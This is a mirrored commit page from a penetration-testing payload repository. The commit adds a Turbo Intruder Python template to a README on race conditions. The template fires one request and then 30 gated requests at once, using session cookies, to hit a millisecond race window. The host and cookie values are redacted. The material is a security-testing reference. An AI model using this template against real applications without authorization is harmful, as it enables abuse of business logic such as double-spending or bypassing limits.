mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 08:54:40 +01:00
Updated Race Condition README.md
Added Turbo Intruder 2 Requests Examples use when the window may only be a few milliseconds.
This commit is contained in:
parent
6738f878f3
commit
9f9fbe4fe5
1 changed files with 32 additions and 1 deletions
|
|
@ -41,6 +41,37 @@
|
||||||
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
|
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
|
||||||
4. Click "Attack"
|
4. Click "Attack"
|
||||||
|
|
||||||
|
## Turbo Intruder 2 Requests Examples
|
||||||
|
This follwoing template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
|
||||||
|
```python
|
||||||
|
def queueRequests(target, wordlists):
|
||||||
|
engine = RequestEngine(endpoint=target.endpoint,
|
||||||
|
concurrentConnections=30,
|
||||||
|
requestsPerConnection=100,
|
||||||
|
pipeline=False
|
||||||
|
)
|
||||||
|
request1 = '''
|
||||||
|
POST /target-URI-1 HTTP/1.1
|
||||||
|
Host: <REDACTED>
|
||||||
|
Cookie: session=<REDACTED>
|
||||||
|
|
||||||
|
parameterName=parameterValue
|
||||||
|
'''
|
||||||
|
|
||||||
|
request2 = '''
|
||||||
|
GET /target-URI-2 HTTP/1.1
|
||||||
|
Host: <REDACTED>
|
||||||
|
Cookie: session=<REDACTED>
|
||||||
|
'''
|
||||||
|
|
||||||
|
engine.queue(request1, gate='race1')
|
||||||
|
for i in range(30):
|
||||||
|
engine.queue(request2, gate='race1')
|
||||||
|
engine.openGate('race1')
|
||||||
|
engine.complete(timeout=60)
|
||||||
|
def handleResponse(req, interesting):
|
||||||
|
table.add(req)
|
||||||
|
```
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue